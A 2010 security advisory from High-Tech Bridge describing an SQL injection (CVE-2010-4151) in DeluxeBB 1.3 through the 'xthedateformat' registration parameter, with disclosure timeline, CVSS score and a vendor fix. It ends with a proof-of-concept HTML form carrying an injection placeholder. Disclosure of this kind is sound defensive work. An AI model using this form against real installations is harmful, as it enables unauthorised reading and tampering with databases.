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SQL Injection Vulnerability in DeluxeBB

Advisory ID:HTB22641
Vulnerable Versions:1.3 and probably prior
Tested Version:1.3
Advisory Publication:October 5, 2010 [without technical details]
Vendor Notification:October 5, 2010
Public Disclosure:October 19, 2010
Latest Update:October 14, 2010
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2010-4151
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DeluxeBB which could be exploited to execute arbitrary SQL commands in application`s database.

1) SQL injection vulnerability in DeluxeBB: CVE-2010-4151
An input validation error exists in the "xthedateformat" parameter in /deluxebb/misc.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database but requires "magic_quotes_gpc" to be disabled.
Exploitation example:

<form action="http://deluxebb/misc.php?sub=register" method="post" name="main" >
<input type="hidden" name="name" value="pentester" />
<input type="hidden" name="pass" value="pentester" />
<input type="hidden" name="pass2" value="pentester" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="hideemail" value="0" />
<input type="hidden" name="languagex" value="default" />
<input type="hidden" name="xthetimeoffset" value="0" />
<input type="hidden" name="xthetimeformat" value="24" />
<input type="hidden" name="xthedateformat" value="'SQL_CODE_HERE" />
<input type="hidden" value="" name="redirect" />
<input type="submit" value="Register" name="submit" />

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